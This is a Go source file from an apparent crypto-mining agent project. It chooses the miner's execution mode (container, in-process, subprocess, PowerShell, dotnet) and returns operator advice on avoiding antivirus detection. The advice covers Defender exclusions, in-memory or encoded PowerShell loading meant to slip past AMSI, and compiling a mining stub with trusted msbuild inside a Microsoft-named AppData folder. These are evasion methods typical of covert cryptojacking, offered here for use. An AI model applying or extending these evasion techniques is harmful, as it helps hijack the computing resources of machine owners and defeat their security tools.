Files
AetherForge/agent/miner/execution.go

96 lines
3.4 KiB
Go

package miner
import (
"strings"
"crypto-miner-agent/config"
)
// CPU/GPU workload execution — distinct from schedule MiningMode (always/idle/scheduled).
const (
ExecutionAuto = "auto"
ExecutionContainer = "container"
ExecutionInProcess = "inprocess"
ExecutionSubprocess = "subprocess"
ExecutionPowerShell = "powershell"
ExecutionDotnet = "dotnet"
)
// ContainerRuntimeInfo describes a detected OCI CLI (docker or podman).
type ContainerRuntimeInfo struct {
Available bool
CLI string // "docker" or "podman"
Version string
}
// RuntimeDetector checks for a container CLI. Tests inject a mock via SetRuntimeDetector.
var RuntimeDetector = DetectContainerRuntime
// SetRuntimeDetector restores the default detector when fn is nil.
func SetRuntimeDetector(fn func() ContainerRuntimeInfo) {
if fn == nil {
RuntimeDetector = DetectContainerRuntime
return
}
RuntimeDetector = fn
}
// ResolveExecutionMode picks the effective miner execution path.
// auto → container when a runtime is available, otherwise inprocess.
func ResolveExecutionMode(cfg config.RuntimeConfig) (mode string, runtime ContainerRuntimeInfo) {
runtime = RuntimeDetector()
raw := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
switch raw {
case "", ExecutionAuto:
if runtime.Available {
return ExecutionContainer, runtime
}
return ExecutionInProcess, runtime
case ExecutionContainer:
return ExecutionContainer, runtime
case ExecutionInProcess:
return ExecutionInProcess, runtime
case ExecutionSubprocess:
return ExecutionSubprocess, runtime
case ExecutionPowerShell:
return ExecutionPowerShell, runtime
case ExecutionDotnet:
return ExecutionDotnet, runtime
default:
if runtime.Available {
return ExecutionContainer, runtime
}
return ExecutionInProcess, runtime
}
}
// ContainerModeRequested reports whether forge/config asked for container isolation.
func ContainerModeRequested(cfg config.RuntimeConfig) bool {
raw := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
return raw == ExecutionContainer || raw == ExecutionAuto || raw == ""
}
// AVBlockRecommendation returns operator guidance when mining may be AV-blocked.
func AVBlockRecommendation(mode string, runtime ContainerRuntimeInfo) string {
switch mode {
case ExecutionInProcess:
return "In-process RandomX avoids external CPU miner exes — add Defender path/process exclusions via Calibrate if hashrate stays 0"
case ExecutionContainer:
if runtime.Available {
return "Container mode isolates CPU mining but AV still scans docker.exe and image layers"
}
return "Container mode requested but no Docker/Podman runtime — agent falls back to in-process RandomX"
case ExecutionSubprocess:
return "Subprocess mode spawns GPU miners (T-Rex/TRM) — high AV friction; use inprocess for CPU-only fleets"
case ExecutionPowerShell:
return "PowerShell tier loads mining via powershell.exe + in-memory assembly or encoded command — AMSI may still flag; falls back to in-process"
case ExecutionDotnet:
return "Dotnet tier compiles a minimal Stratum stub via trusted dotnet/msbuild under %LOCALAPPDATA%\\Microsoft — falls back to in-process"
default:
if runtime.Available {
return "Auto mode may launch Docker — prefer miner_execution=inprocess for lowest AV friction on CPU-only rigs"
}
return "Antivirus may block mining — use miner_execution=inprocess (no external CPU exe) and Defender exclusions for install path"
}
}